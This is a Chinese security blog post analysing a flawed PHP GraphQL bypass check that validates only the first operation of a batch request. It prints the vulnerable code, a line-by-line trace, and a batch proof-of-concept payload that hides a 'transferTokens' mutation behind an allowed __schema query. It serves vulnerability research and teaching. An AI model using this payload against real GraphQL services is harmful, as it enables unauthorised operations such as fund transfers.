文章总结: 文章介绍了一种新的GraphQL绕过方法,通过batch请求嵌套敏感操作来绕过安全检查。漏洞源于bypass函数只检查第一个请求是否为允许的操作类型,而忽略了后续请求。攻击者可利用此漏洞执行未授权操作,如转账等。建议开发者在处理GraphQL批量请求时应检查所有操作而非仅第一个。 综合评分: 88 文章分类: 漏洞分析,WEB安全,漏洞POC,安全开发,渗透测试
【漏洞挖掘Tips】一种新的 GraphQL 绕过角度
原创
Pwn1
漏洞集萃
2025年12月17日 14:53 山东
免责声明 本公众号所发布的文章内容仅供学习与交流使用,禁止用于任何非法用途。
分享一个新的 GraphQL 的攻击角度,另外带大家看一段狗屎一般的代码。
如果这会儿心情不好的话,建议先收藏,等会儿再看。 我看这段漏洞代码的时候只感叹这个写代码的人……真的是个人才。。。。。。。。。
先看漏洞代码:
protected function bypass(Request $request): bool
{
if (!$requests = $this->parser->parseRequest($request)) {
return false;
}
$operationName = $requests->operation;
foreach (Arr::wrap($requests) as $operation) {
if (!$operation->query) {
return false;
}
if ($documentNode = Parser::parse($operation->query)) {
return collect($documentNode->definitions)
->pipe(function (Collection $definitions) use ($operationName) {
if ($definitions->containsOneItem()) {
$definition = $definitions->sole();
} else {
$definition = $definitions
->filter(fn ($definition) => $operationName == $definition?->name?->value)
->first();
}
return $definition?->selectionSet?->selections?->count() === 1
&& in_array(
$definition?->selectionSet?->selections?->offsetGet(0)?->name?->value,
$this->except
);
});
}
}
return true;
}
猛的一看没觉得有什么问题,但是如果详细看的话会发现在 $this->except 部分存在这一个蹊跷;
这里先讲下背景知识 GraphQL 是一种新的 API 接口处理逻辑,区别于 REST 或者 gRPC 等。这种技术栈在国外应用的比较多,好处是不用逐个写接口和路由了,直接一个入口全部都操作的。 类型的话有:query、Mutation、Subscription;分别对应查询、变动、订阅;
漏洞:
这里的 bypass 函数主要适用于在众多的用户请求中将不重要的、不敏感的请求筛选出来然后直接放行进而简化工作量。但是由于开发大哥考虑的场景比较少,所以导致了可以通过 batch 请求嵌套其他请求进行绕过。
直接上 POC:
[
{
"query": "query { __schema { types { name } } }"
},
{
"query": "query { getTransactions(accountId: \"123\") { id amount recipient } }"
},
{
"query": "mutation { transferTokens(to: \"attacker\", amount: 999999) { success } }"
}
]
代码模拟运行
protected function bypass(Request $request): bool
{
// 1. 解析请求 → $requests 是数组,长度 3
if (!$requests = $this->parser->parseRequest($request)) {
return false;
}
// $requests = [op1, op2, op3]
// 2. 取顶层 operationName → Batch 没有顶层,所以 $operationName = null
$operationName = $requests->operation; // ← null
// 3. 循环开始
foreach (Arr::wrap($requests) as $operation) {
// 第一轮:$operation = op1 (__schema 查询)
if (!$operation->query) { return false; } //
// 解析第一个操作的 query 字符串
if ($documentNode = Parser::parse("query { __schema { types { name } } }")) {
// 解析成功,$documentNode->definitions = [一个匿名 OperationDefinition]
return collect($documentNode->definitions) // Collection,count=1
->pipe(function (Collection $definitions) use ($operationName) { // use (null)
if ($definitions->containsOneItem()) { // true,只有1个
$definition = $definitions->sole(); // 取这个匿名操作
} else {
// 不走这里
}
// 检查 selections
// selections 数组只有1个:name.value = "__schema"
return $definition?->selectionSet?->selections?->count() === 1 // true
&& in_array('__schema', $this->except); // true
// → 返回 true
});
// pipe 返回 true → return true → 方法立即结束!
}
}
// 永远到不了这里
return true;
}
关键部分讲解:
-
1.
$operationName = $requests->operation取顶层 operationName → Batch 没有顶层,所以 $operationName = null -
2.
(!$operation->query) { return false; }用于检测是否存在 query 关键字,规避畸形请求; 这是因为由于 GraphQL 最开始设计时,主要考虑的是读取数据的场景,那时候只有 query 操作类型,而后来为了扩大应用场景,于是有了 mutation 和 subscription,但为了向后兼容和保持协议简单统一,继续沿用 “query”。 这个时候的 query 表示“这里放的是 GraphQL 操作文档字符串”,如"query": "subscription { newMessage { content } }" -
3.
function (Collection $definitions) use ($operationName)用从 operationName 获取一个顶层的操作名,但是由于 operationName = $requests->operation; 所以这里直接 use null 了 -
4. if 判断
[$definitions->containsOneItem())]: documentNode 为解析的 http 请求当中的 GraphQL 语法树,documentNode 下属多个 definition,definition 又分为 OperationDefinition、FragmentDefinition、(还有 TypeSystemDefinition 等 不常见)且由于 GraphQL 的规范,OperationDefinition 必不会为空就算是匿名操作也是 query;所以$definitions->containsOneItem()恒为 true(多个 operations 在一个 query 当中的情况不考虑)有且至少为一个 -
5. 于是来到
$definition?->selectionSet?->selections?->offsetGet(0)?->name?->value, $this->except,代码检查的是
OperationDefinition
└── selectionSet
└── selections (数组)
└── [0] FieldNode
└── name.value = "__schema" ← 代码检查的就是这个值
符合一开始想要简化处理的关键字,直接一个绕过;
但是各位看官别忘了,这是一个 batch 请求,后续的几个请求可是也因此绕过了;
所以以后大佬们遇到相似的场景也可以尝试下这种绕过方式。
tips 的分享就到这里了,下面就是狗屎代码的鉴赏了:
有的佬可能注意到了 ‘恒为 ture’ 这几个字
我们来吐槽下这段糟糕的代码吧
- 1. 一开始我们说代码没有考虑 batch 的请求,你说他没有安全意识的时候,你发现他还写了
(!$operation->query)检测畸形请求 - 2. 后来
(Collection $definitions) use ($operationName)以及->filter(fn ($definition) => $operationName == $definition?->name?->value)->first();又考虑了批处理的情况
只能说艺术需要逻辑、而现实生活不需要逻辑;
觉得本文内容对您有启发或帮助? 点个关注➕,获取更多深度分析与前沿资讯!
👉 往期精选
攻防演练中的“降维打击”:逃逸出内网边界的影子资产与SaaS供应链挖掘
【从公开报告到私有神器】:如何通过漏洞报告制作字典
伪造注释状态下的XSS
查看原文:《【漏洞挖掘Tips】一种新的 GraphQL 绕过角度》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论